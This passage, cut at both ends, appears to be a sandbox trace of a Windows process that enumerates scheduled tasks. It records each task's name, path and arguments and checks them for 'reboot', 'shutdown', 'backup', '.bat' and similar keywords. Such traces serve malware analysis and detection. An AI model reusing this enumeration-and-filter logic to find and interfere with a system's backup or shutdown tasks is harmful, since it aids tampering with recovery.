out: ppAction=0x5cfa18*=0x47fd40) returned 0x0 [0150.214] IAction:get_Type (in: This=0x47fd40, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0150.214] IUnknown:Release (This=0x47fd40) returned 0x1 [0150.214] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.214] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.215] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.215] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.215] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="OCURActivate") returned 0x0 [0150.215] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0150.216] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e5f38 [0150.216] wcsstr (_Str="ocuractivate", _SubStr="reboot") returned 0x0 [0150.216] wcsstr (_Str="ocuractivate", _SubStr="restart") returned 0x0 [0150.216] wcsstr (_Str="ocuractivate", _SubStr="shutdown") returned 0x0 [0150.216] wcsstr (_Str="ocuractivate", _SubStr="logoff") returned 0x0 [0150.216] wcsstr (_Str="ocuractivate", _SubStr=".bat") returned 0x0 [0150.216] wcsstr (_Str="ocuractivate", _SubStr="backup") returned 0x0 [0150.216] wcsstr (_Str="ocuractivate", _SubStr=".cmd") returned 0x0 [0150.216] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5f38) returned 1 [0150.216] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.221] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.221] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0150.221] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0150.221] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.221] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0150.221] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0150.221] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0150.221] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0150.221] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0150.221] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0150.221] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0150.221] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0150.221] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0150.221] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0150.221] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0150.221] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/OCURActivate") returned 0x0 [0150.221] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e6438 [0150.221] wcsstr (_Str="/ocuractivate", _SubStr="reboot") returned 0x0 [0150.221] wcsstr (_Str="/ocuractivate", _SubStr="restart") returned 0x0 [0150.221] wcsstr (_Str="/ocuractivate", _SubStr="shutdown") returned 0x0 [0150.221] wcsstr (_Str="/ocuractivate", _SubStr="logoff") returned 0x0 [0150.221] wcsstr (_Str="/ocuractivate", _SubStr=".bat") returned 0x0 [0150.221] wcsstr (_Str="/ocuractivate", _SubStr="backup") returned 0x0 [0150.222] wcsstr (_Str="/ocuractivate", _SubStr=".cmd") returned 0x0 [0150.222] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6438) returned 1 [0150.222] IUnknown:Release (This=0x47fd00) returned 0x2 [0150.222] IUnknown:Release (This=0x47fd00) returned 0x1 [0150.222] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.222] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.222] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.222] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.222] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="OCURDiscovery") returned 0x0 [0150.222] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0150.223] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e5df8 [0150.223] wcsstr (_Str="ocurdiscovery", _SubStr="reboot") returned 0x0 [0150.223] wcsstr (_Str="ocurdiscovery", _SubStr="restart") returned 0x0 [0150.223] wcsstr (_Str="ocurdiscovery", _SubStr="shutdown") returned 0x0 [0150.223] wcsstr (_Str="ocurdiscovery", _SubStr="logoff") returned 0x0 [0150.223] wcsstr (_Str="ocurdiscovery", _SubStr=".bat") returned 0x0 [0150.223] wcsstr (_Str="ocurdiscovery", _SubStr="backup") returned 0x0 [0150.223] wcsstr (_Str="ocurdiscovery", _SubStr=".cmd") returned 0x0 [0150.224] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5df8) returned 1 [0150.224] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.230] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.230] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0150.230] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0150.230] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.231] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0150.231] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0150.231] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0150.231] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0150.231] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0150.231] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0150.231] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0150.231] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0150.231] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0150.231] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0150.231] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0150.231] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/OCURDiscovery $(Arg0)") returned 0x0 [0150.231] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2e) returned 0x6caad0 [0150.231] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="reboot") returned 0x0 [0150.231] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="restart") returned 0x0 [0150.231] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="shutdown") returned 0x0 [0150.231] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="logoff") returned 0x0 [0150.231] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr=".bat") returned 0x0 [0150.231] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="backup") returned 0x0 [0150.231] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr=".cmd") returned 0x0 [0150.231] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0150.231] IUnknown:Release (This=0x47fd00) returned 0x2 [0150.231] IUnknown:Release (This=0x47fd00) returned 0x1 [0150.231] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.231] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.231] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.231] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.231] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscovery") returned 0x0 [0150.231] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0150.233] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e60a0 [0150.233] wcsstr (_Str="pbdadiscovery", _SubStr="reboot") returned 0x0 [0150.233] wcsstr (_Str="pbdadiscovery", _SubStr="restart") returned 0x0 [0150.233] wcsstr (_Str="pbdadiscovery", _SubStr="shutdown") returned 0x0 [0150.233] wcsstr (_Str="pbdadiscovery", _SubStr="logoff") returned 0x0 [0150.233] wcsstr (_Str="pbdadiscovery", _SubStr=".bat") returned 0x0 [0150.233] wcsstr (_Str="pbdadiscovery", _SubStr="backup") returned 0x0 [0150.233] wcsstr (_Str="pbdadiscovery", _SubStr=".cmd") returned 0x0 [0150.233] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e60a0) returned 1 [0150.233] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.238] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.238] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0150.238] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0150.238] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.238] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0150.238] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0150.238] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0150.238] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0150.238] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0150.238] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0150.238] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0150.238] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0150.238] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0150.238] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0150.238] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0150.238] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/PBDADiscovery") returned 0x0 [0150.238] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1e) returned 0x6e6258 [0150.238] wcsstr (_Str="/pbdadiscovery", _SubStr="reboot") returned 0x0 [0150.238] wcsstr (_Str="/pbdadiscovery", _SubStr="restart") returned 0x0 [0150.238] wcsstr (_Str="/pbdadiscovery", _SubStr="shutdown") returned 0x0 [0150.238] wcsstr (_Str="/pbdadiscovery", _SubStr="logoff") returned 0x0 [0150.238] wcsstr (_Str="/pbdadiscovery", _SubStr=".bat") returned 0x0 [0150.238] wcsstr (_Str="/pbdadiscovery", _SubStr="backup") returned 0x0 [0150.238] wcsstr (_Str="/pbdadiscovery", _SubStr=".cmd") returned 0x0 [0150.238] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6258) returned 1 [0150.238] IUnknown:Release (This=0x47fd00) returned 0x2 [0150.238] IUnknown:Release (This=0x47fd00) returned 0x1 [0150.238] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.239] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.239] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.239] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.239] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscoveryW1") returned 0x0 [0150.239] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0150.240] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6e61b8 [0150.240] wcsstr (_Str="pbdadiscoveryw1", _SubStr="reboot") returned 0x0 [0150.240] wcsstr (_Str="pbdadiscoveryw1", _SubStr="restart") returned 0x0 [0150.240] wcsstr (_Str="pbdadiscoveryw1", _SubStr="shutdown") returned 0x0 [0150.240] wcsstr (_Str="pbdadiscoveryw1", _SubStr="logoff") returned 0x0 [0150.240] wcsstr (_Str="pbdadiscoveryw1", _SubStr=".bat") returned 0x0 [0150.240] wcsstr (_Str="pbdadiscoveryw1", _SubStr="backup") returned 0x0 [0150.240] wcsstr (_Str="pbdadiscoveryw1", _SubStr=".cmd") returned 0x0 [0150.240] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e61b8) returned 1 [0150.240] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.245] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.245] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0150.245] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd40) returned 0x0 [0150.245] IAction:get_Type (in: This=0x47fd40, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.245] IUnknown:QueryInterface (in: This=0x47fd40, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd40) returned 0x0 [0150.246] IExecAction:get_Path (in: This=0x47fd40, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0150.246] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0150.246] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0150.246] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0150.246] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0150.246] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0150.246] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0150.246] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0150.246] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0150.246] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0150.246] IExecAction:get_Arguments (in: This=0x47fd40, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/wait:7 /PBDADiscovery") returned 0x0 [0150.246] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2e) returned 0x6caad0 [0150.246] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="reboot") returned 0x0 [0150.246] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="restart") returned 0x0 [0150.246] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="shutdown") returned 0x0 [0150.246] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="logoff") returned 0x0 [0150.246] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr=".bat") returned 0x0 [0150.246] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="backup") returned 0x0 [0150.246] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr=".cmd") returned 0x0 [0150.246] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0150.246] IUnknown:Release (This=0x47fd40) returned 0x2 [0150.246] IUnknown:Release (This=0x47fd40) returned 0x1 [0150.246] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.246] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.246] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.246] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.246] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscoveryW2") returned 0x0 [0150.246] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0150.248] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6e6118 [0150.248] wcsstr (_Str="pbdadiscoveryw2", _SubStr="reboot") returned 0x0 [0150.248] wcsstr (_Str="pbdadiscoveryw2", _SubStr="restart") returned 0x0 [0150.248] wcsstr (_Str="pbdadiscoveryw2", _SubStr="shutdown") returned 0x0 [0150.248] wcsstr (_Str="pbdadiscoveryw2", _SubStr="logoff") returned 0x0 [0150.248] wcsstr (_Str="pbdadiscoveryw2", _SubStr=".bat") returned 0x0 [0150.248] wcsstr (_Str="pbdadiscoveryw2", _SubStr="backup") returned 0x0 [0150.248] wcsstr (_Str="pbdadiscoveryw2", _SubStr=".cmd") returned 0x0 [0150.248] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6118) returned 1 [0150.248] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.253] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.253] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0150.253] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd40) returned 0x0 [0150.253] IAction:get_Type (in: This=0x47fd40, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.253] IUnknown:QueryInterface (in: This=0x47fd40, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd40) returned 0x0 [0150.253] IExecAction:get_Path (in: This=0x47fd40, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0150.253] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0150.253] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0150.253] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0150.253] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0150.253] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0150.253] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0150.253] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0150.253] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0150.253] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0150.253] IExecAction:get_Arguments (in: This=0x47fd40, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/wait:90 /PBDADiscovery") returned 0x0 [0150.253] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6caad0 [0150.253] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="reboot") returned 0x0 [0150.253] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="restart") returned 0x0 [0150.253] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="shutdown") returned 0x0 [0150.253] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="logoff") returned 0x0 [0150.253] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr=".bat") returned 0x0 [0150.253] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="backup") returned 0x0 [0150.253] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr=".cmd") returned 0x0 [0150.253] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0150.253] IUnknown:Release (This=0x47fd40) returned 0x2 [0150.253] IUnknown:Release (This=0x47fd40) returned 0x1 [0150.253] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.253] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.254] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.254] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.254] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PeriodicScanRetry") returned 0x0 [0150.254] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0150.255] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.255] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.255] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PvrRecoveryTask") returned 0x0 [0150.255] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0150.534] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6e5ec0 [0150.534] wcsstr (_Str="pvrrecoverytask", _SubStr="reboot") returned 0x0 [0150.534] wcsstr (_Str="pvrrecoverytask", _SubStr="restart") returned 0x0 [0150.534] wcsstr (_Str="pvrrecoverytask", _SubStr="shutdown") returned 0x0 [0150.534] wcsstr (_Str="pvrrecoverytask", _SubStr="logoff") returned 0x0 [0150.535] wcsstr (_Str="pvrrecoverytask", _SubStr=".bat") returned 0x0 [0150.535] wcsstr (_Str="pvrrecoverytask", _SubStr="backup") returned 0x0 [0150.535] wcsstr (_Str="pvrrecoverytask", _SubStr=".cmd") returned 0x0 [0150.535] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5ec0) returned 1 [0150.535] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.769] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.769] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0150.769] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0150.769] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.769] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0150.769] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0150.769] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2860 [0150.770] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0150.770] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0150.770] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0150.770] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0150.770] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0150.770] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", 